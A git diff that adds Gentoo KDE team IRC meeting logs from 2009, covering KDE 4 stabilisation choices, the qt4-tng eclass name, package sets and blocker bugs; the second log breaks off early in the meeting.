+[21:27:33] <jmbsvicetto> yngwin: but we should all be aware that even when kde-4 gets marked stable, it's very unlikely that any arch besides x86, amd64, ppc and ppc64 will get it marked stable soon
+[21:27:34] <yngwin> yes we can
+[21:27:35] <scarabeus> dagger: well usage is not our issue, we need maintainers
+[21:27:37] <dagger> of course it will represent only small percentage of users, but should give us some guidelines
+[21:27:51] <ayoy> hey there
+[21:27:54] <scarabeus> jmbsvicetto: i bet on hppa
+[21:28:01] <yngwin> jmbsvicetto: sure, i dont think it will be marked stable soon on any arch
+[21:28:09] <jmbsvicetto> yngwin: so masking kde-3 will upset quite a few users from these arches, but it will also upset people in the other arches
+[21:28:35] <jmbsvicetto> scarabeus: Don't forget ia64 or sparc
+[21:28:42] <yngwin> so the key is to get some ppl to step up and maintain&fix
+[21:28:55] <scarabeus> yes
+[21:29:01] <scarabeus> so exactly what i said
+[21:29:05] <jmbsvicetto> scarabeus: sparc is still tied to qt-webkit dying with alignment issues
+[21:29:20] <scarabeus> so no cookies for sparc
+[21:29:32] <scarabeus> jmbsvicetto: i agree it is bad solution, but it is worse to leave it rot around
+[21:29:40] <scarabeus> at least 1 maintainer
+[21:29:48] <scarabeus> it is not so hard, the ebuilds are mostly cleaned and fixed
+[21:29:56] <scarabeus> they just need the patches and testing
+[21:29:57] <jmbsvicetto> scarabeus: And unfortunately, it seems each day KDE upstream is more concerned with Windows,OS/X than with Linux alternative arches
+[21:30:15] <scarabeus> i expected that one
+[21:30:34] <jmbsvicetto> scarabeus: I'm not arguing against your proposal. I'm just making a few "warning" ;)
+[21:30:46] <scarabeus> so you can show the logs when they blame you :P
+[21:30:48] <scarabeus> :DDDDD
+[21:30:58] <yngwin> they can still unmask or use overlay if they want kde3
+[21:31:02] <scarabeus> i would say lets go for next subject
+[21:31:22] <reavertm> agreed
+[21:32:06] <scarabeus> i summarised it really nicely and jorge as boss can tweak it more to reflect us so we all write our proposals for it
+[21:32:15] <scarabeus> jmbsvicetto: one Q, did you see carlo lately?
+[21:32:31] <scarabeus> jmbsvicetto: he did kde3 commits when he was around, so that is why i ask :]
+[21:33:18] <scarabeus> the awkard silence...
+[21:33:36] <scarabeus> okey so for the 4.2 stabling i would say vote?
+[21:34:04] <yngwin> i vote hell no
+[21:34:05] <wired> i say we go for 4.3
+[21:34:10] <dagger> hell no
+[21:34:13] <wired> so no =]
+[21:34:21] <dagger> 4.3 is the way to go
+[21:34:25] <reavertm> I vote.. wait for 4.3.1
+[21:34:34] -*- yngwin is with reavertm
+[21:34:45] <reavertm> there's one 'problem'
+[21:34:51] <dagger> yeah, 4.3.1 sounds like the best candidate
+[21:34:53] <scarabeus> you know my opinion but for the record 4.3
+[21:35:00] <reavertm> kde 4.3 will need phonon-4.4pre
+[21:35:08] <scarabeus> the snapshot is stable
+[21:35:11] <scarabeus> where is the issue
+[21:35:20] <yngwin> what snapshot
+[21:35:21] <reavertm> which is good as it works very well, just doen't look official (and it's not, it's our snapshot)
+[21:35:26] <scarabeus> phonon
+[21:35:39] <scarabeus> reavertm: i would say it is ook
+[21:35:46] <scarabeus> it works peachy for everyone around here
+[21:35:49] <reavertm> second thing - akonadi-server sqlite USE flag could be masked in profile
+[21:35:59] <scarabeus> reavertm: why? it is so borked?
+[21:36:04] <scarabeus> i didnt get time to test it yet
+[21:36:13] <jmbsvicetto> scarabeus: ok
+[21:36:13] <jmbsvicetto> scarabeus: carlo? no
+[21:36:13] <yngwin> no prblems with phonon
+[21:36:42] <jmbsvicetto> scarabeus: I'll have to double check, but I think he's got under undertakers view
+[21:36:42] <reavertm> no idea, works for me, but upstream says sqlite threads support is broken sometimes and may cause data loss when using sqlite backend
+[21:36:47] <jmbsvicetto> scarabeus: meaning is subject to retirement for inactivity
+[21:36:54] <scarabeus> jmbsvicetto: understood
+[21:37:00] <reavertm> and I think would just need better testinb whether it's really the case
+[21:37:04] <jmbsvicetto> About KDE4, 4.2.4
+[21:37:08] <dagger> data loss = mask it
+[21:37:15] <jmbsvicetto> If we wait for 4.3, time will fly by us
+[21:37:35] <yngwin> 4.2.4 is not stable, boss
+[21:37:35] <reavertm> (mysql is enabled by default for now and sqlite is marked as experimental in pkg_postinst anyway)
+[21:37:40] <jmbsvicetto> 4.3.0 has some nasty bugs that upstream has admitted already and 4.3.1 shouldn't be out before 1st or 2nd week of September
+[21:37:42] <yngwin> neither is 4.3.0
+[21:37:48] <dagger> jmbsvicetto: yes and no. 4.2 is no longer maintained, and 4.3.1 will give us some time to fix some bugs in 4.3
+[21:37:58] <jmbsvicetto> Add at least 1 month to that for asking for it to be marked stable and we'll be getting very close to the year's end
+[21:38:38] <scarabeus> yep, but i think we need 1 month to fix all the issues we have in the tracker anyway
+[21:38:39] <jmbsvicetto> yngwin: I think 4.2.4 is not a perfect release, but it's getting very close and will allow us to have a stable version almost 2 months before 4.3
+[21:38:52] <dagger> I believe having 4.3.1 stable by the time 4.3.3 is released sounds good
+[21:38:55] <reavertm> of course before anyone thinks of any kde4 stabilization, blocker bugs needs to be fixed first
+[21:38:59] <yngwin> 4.2.4 is usable, but certainly not stable
+[21:39:13] <jmbsvicetto> 4.2.4 is my vote - but majority rules ;)
+[21:39:23] <scarabeus> yeah we rule and you rock :]
+[21:39:28] <scarabeus> (you know the joke right?)
+[21:39:35] -*- reavertm knows
+[21:39:35] <dagger> 4.3.0 is more stable than 4.2.4 ;)
+[21:39:45] -*- scarabeus confirm
+[21:39:50] <Ronis_BR> If i can vote, I vote on 4.3.1, 4.3.0 crashes sometimes...
+[21:40:03] <Ronis_BR> much more than 4.2.4 in fact
+[21:40:09] <reavertm> actually stability wise i have never had plasma crash yet on 4.3.9999 (and there were some on 4.2 for me)
+[21:40:16] <dagger> i never had a crash on 4.3.0, but saw some bugs about it
+[21:40:36] <yngwin> i'm having plasma issues with both 4.2.4 and 4.3.0
+[21:41:05] <reavertm> my vote is to go with 4.3.1 (or 4.3.0 with some patches added) and if so - remove 4.2.4 from tree
+[21:41:18] <yngwin> well, not on 4.2 anymore as i upgraded both boxes now
+[21:41:24] <dagger> the only plasmoid which crashes plasma for me is microblogging = 100% crash rate
+[21:41:30] <Ronis_BR> reavertm: I don't mean a plasma crash, but dolphin crashes, konqueror crashes sometimes, and plasma crashes :D but it isn't often and it "recover" itself all the times here
+[21:41:56] <reavertm> I doubt anyone still uses 4.2 - adding 4.3 umasked was epic kill for idea of stabilizing 4.2
+[21:42:01] <yngwin> on 4.2.4 i had plasma crashes completely freeze up X
+[21:42:23] <scarabeus> i am for that removal
+[21:42:26] <scarabeus> 4.2
+[21:42:27] <dagger> so, do we need to count the votes than?
+[21:42:36] <scarabeus> dagger: no need, only boss was for 4.2
+[21:42:36] <dagger> or is it decided
+[21:42:40] <Ronis_BR> yngwin: i can be video drivers issue, I have never had a X freeze up with kde 4.2.*
+[21:42:49] <yngwin> nvidia
+[21:42:53] <Ronis_BR> yngwin: ati
+[21:42:59] <reavertm> nvidia, worksformetm
+[21:43:08] <wired> what reavertm said
+[21:43:10] <scarabeus> btwwho is working on stable bugs?
+[21:43:20] <scarabeus> i saw only reaver commenting on them and i closed few
+[21:43:24] <scarabeus> but the list is still large
+[21:43:29] <dagger> intel 4500hd and nvidia here. Nvidia doesn't like new kernel and heci (from staging) driver
+[21:43:34] <scarabeus> i need to ask you to pick 1-2 from there and fix them
+[21:43:39] <reavertm> some of them are gfx driver issues
+[21:43:54] <reavertm> yeah, we need them fixed asap
+[21:44:16] <yngwin> ok, can we move on?
+[21:44:33] <scarabeus> i want to hear that they read what i wrote ^
+[21:44:39] <scarabeus> :D
+[21:44:57] <reavertm> summary of no. 2 please :)
+[21:45:32] <scarabeus> http://www.pastebin.cz/22046
+[21:45:34] <scarabeus> here you are
+[21:45:50] --> Coopy (n=Coop@p4FEDA352.dip.t-dialin.net) has joined #gentoo-meetings
+[21:46:01] <dagger> looks good
+[21:46:28] <scarabeus> yngwin: next topic is yours
+[21:47:07] <yngwin> ok, we're ready to add qt4-tng.eclass to portage, no alternative names have been proposed
+[21:47:39] <yngwin> i plan to do a review this weekend and send it to -dev ml for rfc
+[21:48:06] <scarabeus> qt4-superstar could go?
+[21:48:09] <scarabeus> qt4-meh
+[21:48:11] <scarabeus> :]
+[21:48:12] <wired> lol
+[21:48:15] <dagger> qt4-blah ?
+[21:48:17] <wired> qt4-v2 ?
+[21:48:23] <ayoy> qt5
+[21:48:25] <scarabeus> :D
+[21:48:26] <yngwin> qt4-thisistheoneyouwant
+[21:48:27] <wired> im a bit worried about tng, it sounds good and all
+[21:48:31] <wired> ayoy: LOL
+[21:48:39] <-- |Francis| (n=kvirc@AGrenoble-152-1-28-162.w82-122.abo.wanadoo.fr) has quit (Remote closed the connection)
+[21:48:48] <wired> but what if we want to replace it again in the distant future
+[21:48:59] <Ronis_BR> what is tng?
+[21:49:01] <dagger> qt4-tng sounds a lil bit like star trek, but I think we can live with it ;p
+[21:49:04] <yngwin> well, you can send bikeshedding proposals once the rfc is on ml
+[21:49:04] <scarabeus> well you can live with one damn eclass like us
+[21:49:08] <wired> it doesnt sound like it
+[21:49:10] <scarabeus> Ronis_BR: the next generation
+[21:49:11] <wired> it is startrek
+[21:49:12] <wired> :p
+[21:49:16] <Ronis_BR> O_o
+[21:49:30] <Ronis_BR> wierd :)
+[21:49:39] <Gentoochild> to baldly go where no-one has gone before
+[21:49:44] --> |Francis| (n=kvirc@AGrenoble-152-1-28-162.w82-122.abo.wanadoo.fr) has joined #gentoo-meetings
+[21:49:48] -*- wired wonders if after tng we'll have the-empire-strikes-back or something
+[21:49:51] <wired> :P
+[21:49:55] <scarabeus> to baldly compile what noone else was able to do
+[21:50:03] <dagger> wired: lol
+[21:50:08] <yngwin> wired: good name for kde3 overlay maybe?
+[21:50:13] <wired> :D
+[21:50:16] <ayoy> lol
+[21:50:21] <scarabeus> yngwin: i am open for proposals
+[21:50:27] <scarabeus> and i have strong feelings for this one
+[21:50:31] <scarabeus> :}
+[21:50:32] <Ronis_BR> eheheh
+[21:50:38] <ayoy> but isn't qt4-tng or whatever meant to replace the old qt4.eclass?
+[21:50:47] <yngwin> eventually yes
+[21:51:00] <wired> qties4.eclass
+[21:51:01] <wired> :D
+[21:51:07] <dagger> we can't just dump the old one and put the new one in place
+[21:51:11] <yngwin> no
+[21:51:12] <scarabeus> you cant
+[21:51:13] <ayoy> dagger: sure
+[21:51:17] <scarabeus> you would break the ebulds
+[21:51:22] <scarabeus> *current
+[21:51:22] <dagger> yep
+[21:51:24] <wired> yes we need a migration
+[21:51:30] <reavertm> you guys should really "learn" how to make drastic eclass changes in place like we do :D (with no new eclasses involved)
+[21:51:33] <Ronis_BR> qt4-tng is a gentoo version with patches or not?
+[21:51:36] <yngwin> unless you want to check all ebuilds that use qt4.eclass wrt new functionality
+[21:51:39] <scarabeus> reavertm: see this is reason why i slapped you everytime for backcompat
+[21:51:50] <reavertm> scarabeus: with kde-misc? :P
+[21:51:58] <wired> its TNG folks
+[21:52:05] <wired> does picard look like kirk to you?
+[21:52:07] <wired> :D
+[21:52:10] <scarabeus> reavertm: yep :]
+[21:52:20] <scarabeus> kirk had better chicks
+[21:52:22] <scarabeus> they had skirts
+[21:52:23] <dagger> ok, back to the point please
+[21:52:24] <-- Coopy (n=Coop@p4FEDA352.dip.t-dialin.net) has quit ("Leaving")
+[21:52:29] <scarabeus> ok ok
+[21:52:33] <scarabeus> i think tng is done
+[21:52:49] <yngwin> as far as i'm concerned yes
+[21:53:02] <reavertm> or just qt4-0.1.eclass
+[21:53:10] <reavertm> (then 0.2 for next revision :P)
+[21:53:13] <Ronis_BR> "Backcompat is to still commit in the present the errors commited in the past"
+[21:53:15] <scarabeus> jmbsvicetto: you should push your versioned eclasses idea
+[21:53:28] <scarabeus> ok anyway
+[21:53:36] <scarabeus> the last thing is bit brainstorming
+[21:53:42] <scarabeus> what shoudl we focus on in future
+[21:53:45] <reavertm> too bad you can't do it in place
+[21:54:32] <ABCD> I remember seeing an agenda item in some email about the unversioned sets
+[21:54:35] <jmbsvicetto> sorry guys - mind at userrel
+[21:55:11] <scarabeus> ABCD: i was waiting on jorge to come back so i left it as totaly last
+[21:55:19] <ABCD> scarabeus: ok
+[21:55:21] <jmbsvicetto> scarabeus: That idea wasn't mine, I just pulled it out of the dust ark ;)
+[21:55:38] <scarabeus> :]
+[21:55:46] <scarabeus> ok any ideas/proposals what we should focus
+[21:55:51] <scarabeus> we will have new recruits
+[21:55:51] <jmbsvicetto> scarabeus: The versioned eclasses
+[21:55:58] <scarabeus> jmbsvicetto: i understood
+[21:56:07] <scarabeus> and for them we need something creative to do
+[21:56:12] <scarabeus> we cant just leave them fix bugs
+[21:56:14] <scarabeus> same for us
+[21:56:22] <scarabeus> if i would only fix bugs i would went insane
+[21:57:10] <yngwin> in qt team we are actively looking at adding new qt4-based packages all the time
+[21:57:13] <scarabeus> i had idea about branding, but then i cant draw
+[21:57:22] <ayoy> :)
+[21:57:33] <scarabeus> so someone else would have to mentor the idea
+[21:57:34] <yngwin> documentation could use more work too
+[21:57:49] <ayoy> I had an idea of qt-based portage gui
+[21:57:56] <ayoy> but then I wouldn't use it
+[21:58:00] <scarabeus> :D
+[21:58:06] <dagger> ayoy: noone would I think :p
+[21:58:09] <ayoy> :)
+[21:58:10] <jmbsvicetto> scarabeus: There's always the "fix upstream build system" idea ;)
+[21:58:21] <yngwin> there was a kde(3?) one iirc
+[21:58:21] <wired> scarabeus: branding is actually a lovely idea, remember that gentoo kstart icon quantumsummers had?
+[21:58:24] <wired> we need artists
+[21:58:25] <reavertm> I have some task, not sure whether suitable for newcomers
+[21:58:40] <scarabeus> i have tasks not suitable for myself :D
+[21:58:44] <scarabeus> so go on
+[21:58:45] <scarabeus> :]
+[21:58:47] <reavertm> I need eclass for odbc driver management
+[21:59:01] <reavertm> supporting iODBC and unixODBC interfaces
+[21:59:35] <scarabeus> well that is totaly not beginner work
+[21:59:37] <ayoy> ok, next
+[21:59:40] <dagger> I'm sorry guys, but I will have to leave you now. I need to pick up my wife.
+[21:59:48] <reavertm> registering/unregistring drivers, in similar way like in debian, (but separately - one for iODBC and one for unixODBC)
+[21:59:56] <wired> c ya dagger
+[22:00:21] <reavertm> (it should be easy, mostrly it's just invocation of unixodbc tool with creating some files in /etc)
+[22:00:33] <scarabeus> well if you find interested recruit go for it
+[22:00:36] --> Francois (n=francois@193.253.141.72) has joined #gentoo-meetings
+[22:00:50] <scarabeus> reavertm: question. how is your reviewing going by?
+[22:01:08] <reavertm> I'm lazy to send fixed quizzes
+[22:01:25] <scarabeus> gosh
+[22:01:31] <scarabeus> please do so
+[22:01:34] <scarabeus> sooon
+[22:01:35] <scarabeus> :]
+[22:01:35] <reavertm> nevermind
+[22:01:47] <scarabeus> ok last topic is SETS
+[22:01:53] <scarabeus> I hate the current state
+[22:01:56] <scarabeus> i preffer metas more
+[22:02:12] <scarabeus> so we need someone to write proper specs for what we need from sets
+[22:02:12] <-- |Francis| (n=kvirc@AGrenoble-152-1-28-162.w82-122.abo.wanadoo.fr) has quit (Read error: 104 (Connection reset by peer))
+[22:02:21] <scarabeus> and talk about it with zac
+[22:02:27] <scarabeus> and even better help him implementing
+[22:02:34] <scarabeus> jmbsvicetto: ^ ?
+[22:02:38] <reavertm> oh yes, have anyone read bug 272488 ?
+[22:02:40] <scarabeus> am i right?
+[22:02:53] <reavertm> https://bugs.gentoo.org/show_bug.cgi?id=272488
+[22:03:04] <scarabeus> i did i liked
+[22:03:08] <jmbsvicetto> reavertm: That sounds like an eselect and not eclass (odbc)
+[22:03:09] <scarabeus> you volunteer?
+[22:03:29] <jmbsvicetto> scarabeus: I'll take this one
+[22:03:47] <jmbsvicetto> scarabeus: I've been meaning to write about it for a *long* time, but I keep postponning it
+[22:03:48] <scarabeus> jmbsvicetto: use teh bug as base, i like the idea
+[22:03:57] <jmbsvicetto> scarabeus: Can I ask you to poke me about it until I do? ;)
+[22:04:54] <reavertm> jmbsvicetto: hmm, not really, it would be eclass for packages that provide odbc driver
+[22:04:55] <jmbsvicetto> reavertm: I know the bug. My plan is to get back to the basics about sets
+[22:05:07] <reavertm> it's not about switching between iodbc vs unixodbc
+[22:05:07] <scarabeus> if you promise you wont mark me as your counter person for next lead vote ;]
+[22:05:09] <scarabeus> :D
+[22:05:11] <scarabeus> ok can do
+[22:05:13] <reavertm> (it's determined at compilation time)
+[22:05:18] <Ronis_BR> I wonder when gentoo guys will look at https://bugs.gentoo.org/show_bug.cgi?id=268891
+[22:05:18] <jmbsvicetto> reavertm: ok, then I misunderstood. sorry
+[22:05:46] <jmbsvicetto> scarabeus: Are you affraid instead I'll point to you when it gets time for the next election? ;)
+[22:06:04] <scarabeus> :D
+[22:06:20] <scarabeus> okey
+[22:06:28] <scarabeus> anything else for the sets, we will leave them to you
+[22:06:32] <scarabeus> and poke you about it :]
+[22:06:42] <reavertm> jmbsvicetto: I think 2.2 style sets are dead end
+[22:07:02] <reavertm> confusing syntax
+[22:07:39] <yngwin> what i want is kde-latest-release sets
+[22:07:58] <scarabeus> that is quite hard to make but i see the point :]
+[22:08:00] <yngwin> so that 4.2.4 would be automatically updated to 4.3.0
+[22:08:19] <jmbsvicetto> yngwin: that's basically unversioned sets ;)
+[22:08:21] <scarabeus> also i think we should stop encouraging set usage in docs
+[22:08:24] <yngwin> yes
+[22:08:33] <wired> the unversioned sets work like that :)
+[22:08:39] <scarabeus> they dont
+[22:08:44] <scarabeus> too much package fuzz movement
+[22:08:52] <scarabeus>  /
+[22:09:07] <jmbsvicetto> scarabeus: they do - the problem is our "non-stopping" upstream ;)
+[22:09:42] <yngwin> ok, anything else for the meeting?
+[22:10:01] <jmbsvicetto> scarabeus: They have what we call here "bicho de carpinteiro". They can sit still for a minute and thus keep moving packages left and right, adding new ones, killing old ones and finding new and better ways to make distros life harder ;)
+[22:10:11] <wired> do you guys think we should move the plasmoids from kde-testing to the tree?
+[22:10:13] <jmbsvicetto> The can't sit still*
+[22:10:24] <scarabeus> wired: we can
+[22:10:30] <jmbsvicetto> wired: How good do you think they are?
+[22:10:32] <scarabeus> just test them for leaks
+[22:10:36] <scarabeus> and crashes
+[22:10:38] <scarabeus> everytime
+[22:10:40] <scarabeus> plasma is core
+[22:10:44] <scarabeus> if it crashes it is PITA
+[22:10:48] <wired> jmbsvicetto: some of them are pretty good, others i have no idea
+[22:10:59] <scarabeus> wired: then add the one you like
+[22:11:00] <wired> i mostly test that they build and occasionally that they load
+[22:11:09] <jmbsvicetto> wired: I don't see a problem with adding good ones
+[22:11:21] <scarabeus> but you really have to test them
+[22:11:24] <jmbsvicetto> and what scarabeus said ;)
+[22:11:31] <wired> ok so on a per-plasmoid basis
+[22:11:36] <wired> kk
+[22:11:55] <reavertm> well, kde developers doesn't test their code sometimes, so we should
+[22:11:56] <Ronis_BR> you have already discussed about kdeprefix i think, haven't you?
+[22:12:15] <scarabeus> Ronis_BR: that was decided long ago, not matter of this meeting
+[22:12:15] <reavertm> Ronis_BR: yes, it's dead (for now)
+[22:12:24] <Ronis_BR> ok
+[22:12:30] <Ronis_BR> too bad, but ok :)
+[22:12:40] <wired> Ronis_BR: we accept patches
+[22:12:40] <wired> :D
+[22:12:54] <ABCD> Ronis_BR: that was decided at the June meeting :)
+[22:13:12] <scarabeus> ok i would like to dismiss the meeting for this moth
+[22:13:14] <scarabeus> any objections?
+[22:13:25] <Ronis_BR> ABCD: sorry, it is the first time that I hear about gentoo meetings :)
+[22:13:39] <jmbsvicetto> scarabeus: Before we go, when should we have the next meeting?
+[22:13:41] <scarabeus> Ronis_BR: kde.gentoo.org its on the page, logs+summary
+[22:13:53] <reavertm> I suppose we don't need more meeting recently - just people eager to work on issues :P
+[22:13:54] <scarabeus> 17.9.
+[22:13:57] <scarabeus> jmbsvicetto: ^
+[22:14:02] <scarabeus> 3rd thursday in the month
+[22:14:09] <scarabeus> 19:00 utc
+[22:14:15] <scarabeus> if noone found it really evil or bad
+[22:14:17] <jmbsvicetto> right
+[22:14:33] <jmbsvicetto> Oh!!!
+[22:14:38] <yngwin> scarabeus: i will be on holiday that week
+[22:14:39] <reavertm> scarabeus: actually we could just meet in two weeks to evaluate work done
+[22:14:40] <jmbsvicetto> One last item I forgot to add to the meeting
+[22:14:50] <jmbsvicetto> Anyone willing to help solar about the 10.0 release?
+[22:15:00] <ABCD> I'll have to check my class schedule for Fall semester again, but I think that will work (it does fall in the middle of the day here, though)
+[22:15:10] <yngwin> jmbsvicetto: what kind of help
+[22:15:15] <jmbsvicetto> I want to help with KDE (and if I can compiz), but it would be great if more people could help
+[22:15:18] -*- scarabeus busy with x11stabling/overlays rework
+[22:15:54] <jmbsvicetto> yngwin: solar and a few others are working on catalyst specs to build a live-dvd with x86/amd64 to celebrate Gentoo's 10th birthday
+[22:16:08] <reavertm> catalyst....
+[22:16:22] <yngwin> well thats release team work
+[22:16:23] <scarabeus> jmbsvicetto: can they add ~ packages?
+[22:16:35] <scarabeus> yngwin: there is no such team iirc
+[22:16:36] <scarabeus> :D
+[22:16:37] <reavertm> they could add kde 4.3 :)
+[22:17:11] -*- yngwin sends thunderbolts scarabeus' way
+[22:17:13] <scarabeus> because if kde3 will be there, we can simply grab sabayon, it will be more promotial
+[22:17:23] <reavertm> and polished :P
+[22:18:15] <jmbsvicetto> scarabeus: There's an release team
+[22:18:26] <jmbsvicetto> But this is a "special edition"
+[22:18:39] <jmbsvicetto> scarabeus: The point is to have KDE4, not 3.5.10
+[22:18:40] <reavertm> solar or agaffney?
+[22:19:33] <-- Francois (n=francois@193.253.141.72) has quit (Client Quit)
+[22:20:27] <wired> ...?
+[22:20:36] <reavertm> release tem
+[22:21:30] <yngwin> http://www.gentoo.org/proj/en/releng/
+[22:22:24] <scarabeus> ok guys anyway i have to run
+[22:22:31] <scarabeus> here is the summary: http://dev.gentoo.org/~scarabeus/0908summary.txt
+[22:22:33] <scarabeus> do logs yourself
+[22:22:36] <scarabeus> jmbsvicetto: ^^
+[22:22:39] <scarabeus> download it NOW
+[22:22:44] <scarabeus> :D
+[22:23:08] <jmbsvicetto> scarabeus: ok
+[22:23:12] <-- tbeadle (n=quassel@division.aa.arbor.net) has left #gentoo-meetings ("http://quassel-irc.org - Chat comfortably. Anywhere.")
+[22:23:34] * scarabeus has changed topic for #gentoo-meetings to: "Rem tene, verba sequentur || Keep to the subject and the words will follow"
+[22:23:50] <jmbsvicetto> scarabeus: can't find the file in packer
+[22:23:54] <jmbsvicetto> pecker*
+[22:24:29] <wired> jmbsvicetto: it downloads, its in public_html probably :D
+[22:24:48] <wired> jmbsvicetto: i have logs, do you need them?
+[22:24:51] -*- yngwin out
+[22:25:14] <jmbsvicetto> scarabeus: please ignore me
+[22:25:32] <jmbsvicetto> wired: I can't connect through http at the moment, but thanks
+[22:25:55] <jmbsvicetto> wired: I got it from Tomas. I was just showing signs of my "split brains" :\
+[22:26:03] <wired> heheheh
+[22:26:09] <wired> no problem
+[22:26:20] <wired> did you log the meeting or you want me to give you my log?
+[22:26:57] <-- ABCD (n=ABCD@gentoo/contributor/abcd) has left #gentoo-meetings ("http://quassel-irc.org - Chat comfortably. Anywhere.")
+[22:27:50] <wired> jmbsvicetto: ^^
+[22:29:25] <jmbsvicetto> wired: I didn't log
+[22:29:36] <jmbsvicetto> wired: Thanks for reminding me I forgot to add a rule to my irssi about this
+[22:31:37] <-- ayoy (n=ayoy@cs78245237.pp.htv.fi) has left #gentoo-meetings ("kbai")
+[22:32:27] <wired> jmbsvicetto: yw
+[22:32:42] <wired> jmbsvicetto: so where do you want log? pecker?
+[22:35:05] <wired> jmbsvicetto: ~wired/kde/200908_meeting.log
+[22:36:24] <jmbsvicetto> wired: thanks
+[22:40:10] <wired> :)
+[22:41:49] <jmbsvicetto> scarabeus: I have another request for you - starting Saturday, poke me for the logs/summary ;)
+[23:10:08] <Gentoochild> \part
+[23:10:16] <-- Gentoochild (n=bla@vpn5.rz.tu-ilmenau.de) has left #gentoo-meetings ("Konversation terminated!")
+[23:17:09] <scarabeus> btw you can leave now, next on the list is gnome meeting, and i dont think you want to slack around that ;D
+[23:27:43] <reavertm> gnome meeting? nice
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090917.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090917.txt
new file mode 100644
index 00000000..7d2c4981
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090917.txt
@@ -0,0 +1,572 @@
+[22:01:31] *** Joins: wired (n=wired@gentoo/developer/wired)
+[22:01:32] *** Joins: ayoy (n=ayoy@cs78245237.pp.htv.fi)
+[22:01:55] *** Joins: dabbott (n=david@gentoo/developer/dabbott)
+[22:02:07] *** Joins: toralf (n=toralf@g224122197.adsl.alicedsl.de)
+[22:02:33] *** Joins: Battousai (n=bryan@maduin.southcape.org)
+[22:03:44] * wired makes sure logging is on
+[22:04:59] *** Parts: Pesa (n=Pesa@bluemchen.kde.org)
+[22:05:07] <reavertm> I'm here
+[22:05:09] *** Joins: Pesa (n=Pesa@bluemchen.kde.org)
+[22:05:39] <wired> scarabeus: jmbsvicetto?
+[22:05:44] *** Quits: ABCD (n=ABCD@gentoo/developer/abcd) (Read error: 104 (Connection reset by peer))
+[22:06:02] *** Joins: ABCD (n=ABCD@gentoo/developer/abcd)
+[22:07:24] *** Quits: |Francis| (n=kvirc@AGrenoble-152-1-48-33.w82-122.abo.wanadoo.fr) (Remote closed the connection)
+[22:07:35] <reavertm> wasn't it moved to friday? :P
+[22:08:02] <wired> scarabeus sent "correction" email
+[22:08:02] <wired> :p
+[22:09:06] <jmbsvicetto> oh, I was already here
+[22:09:08] <wired> yeah
+[22:09:11] <wired> didn't i hilight you?
+[22:09:18] <wired> :P
+[22:09:25] <spatz> scarabeus said he might not make it, who else is late?
+[22:09:25] <ABCD> I'm not sure how well my connection is going to hold up, so...
+[22:09:29] <jmbsvicetto> Yeah, but I had forgot I was around here
+[22:10:27] * jmbsvicetto makes mental note - win 76
+[22:10:29] <jmbsvicetto> Anyone logging?
+[22:10:37] <reavertm> everytbody
+[22:10:43] <wired> i am
+[22:10:55] <wired> yngwin won't be coming, scarabeus too
+[22:10:56] <jmbsvicetto> ok
+[22:11:02] <wired> we're missing patrick, tampakrap
+[22:11:11] <reavertm> and some more qt representatives
+[22:11:26] <wired> ayoy spatz and Pesa are here
+[22:11:33] <wired> hwoarang is on long devaway
+[22:11:36] <jmbsvicetto> Let's give them a few more minutes?
+[22:11:38] <ayoy> yngwin is away too
+[22:11:47] <spatz> we're waiting for bonsaikitten?
+[22:12:05] <wired> i pinged them
+[22:12:07] *** Joins: bonsaikitten (i=quassel@gentoo/developer/bonsaikitten)
+[22:12:08] <spatz> good, on his way :)
+[22:12:19] *** Joins: tampakrap (n=tuxicity@gentoo/developer/tampakrap)
+[22:12:29] <wired> good
+[22:12:43] <jmbsvicetto> So, who wants to chair this one?
+[22:13:01] <jmbsvicetto> I could use the break to get ready another thing I'm working on
+[22:13:34] <tampakrap> hello
+[22:14:14] <wired> jmbsvicetto: i'll do it
+[22:14:45] <reavertm> good, do we have decisive power?
+[22:14:46] <wired> lets get going, first topic, 4.3 stabilization
+[22:14:58] <jmbsvicetto> wired: thanks
+[22:15:04] <reavertm> to vote stuff and such? it's quite few of us
+[22:15:26] <tampakrap> wired: roll call first
+[22:15:47] <spatz> here
+[22:15:58] <jmbsvicetto> reavertm: I don't think we have much to vote today. It's more about getting processes started
+[22:16:02] <jmbsvicetto> here
+[22:16:04] <wired> that was done, but present yourselves for the record if you want :)
+[22:16:26] <tampakrap> here
+[22:16:38] <ayoy> here
+[22:16:46] <reavertm> i am
+[22:16:56] <reavertm> ok, wired, move on
+[22:17:20] <wired> first topic, kde 4.3 stabilization
+[22:17:26] <wired> are we still going with 4.3.1?
+[22:17:34] *** Parts: Pesa (n=Pesa@bluemchen.kde.org)
+[22:17:38] <ABCD> here
+[22:17:52] <reavertm> yaah, we're going with 4.3.1, I wanted to bring this topic to...
+[22:18:14] <reavertm> gather some manpower to fix blocker bugs (or talk about dropping some blockers)
+[22:18:38] <wired> are there any specific blocks we should focus on?
+[22:18:50] <reavertm> https://bugs.gentoo.org/show_bug.cgi?id=277868
+[22:18:50] <spatz> is there a list/tracker?
+[22:18:54] <reavertm> this is bug
+[22:19:09] <wired> btw meeting agenta: http://archives.gentoo.org/gentoo-desktop/msg_1abe5bf232579eabb51aadc3d80b397b.xml
+[22:19:15] <jmbsvicetto> wired: yes
+[22:19:18] <wired> in case you don't have the mail available
+[22:20:10] <wired> 12 bugs
+[22:20:18] <jmbsvicetto> One thing we need to do ASAP is adding the patches being sent to the packagers ml
+[22:20:28] <wired> i agree
+[22:21:14] <wired> if we could focus these 2 weeks ideally we could request stablereq right after the 1 month period
+[22:21:26] <reavertm> yes
+[22:21:38] *** Joins: [Enrico] (n=chiccoro@gentoo/contributor/Enrico)
+[22:21:49] <reavertm> I've already set java as default backend so one bug less (about redland crashing)
+[22:21:58] *** Joins: Pesa (n=Pesa@bluemchen.kde.org)
+[22:22:03] <wired> great
+[22:22:03] <reavertm> and there's postinst message
+[22:22:35] <wired> so guys please do your best so we can finally have kde4 in stable :D
+[22:22:43] <jmbsvicetto> We should also start opening stabilization bugs for deps: automoc, strigi, soprano, phonon. Anything else?
+[22:23:04] <wired> are we stabling the phonon snapshot?
+[22:23:22] <reavertm> yes, it works fine
+[22:23:30] <reavertm> (it has unstable API)
+[22:23:44] <wired> well it'll have to do if thats all we've got
+[22:23:58] <reavertm> it's known to work anyway
+[22:24:05] <wired> ok
+[22:24:08] <jmbsvicetto> what's the minimum working version?
+[22:24:25] * wired looks ar reavertm 
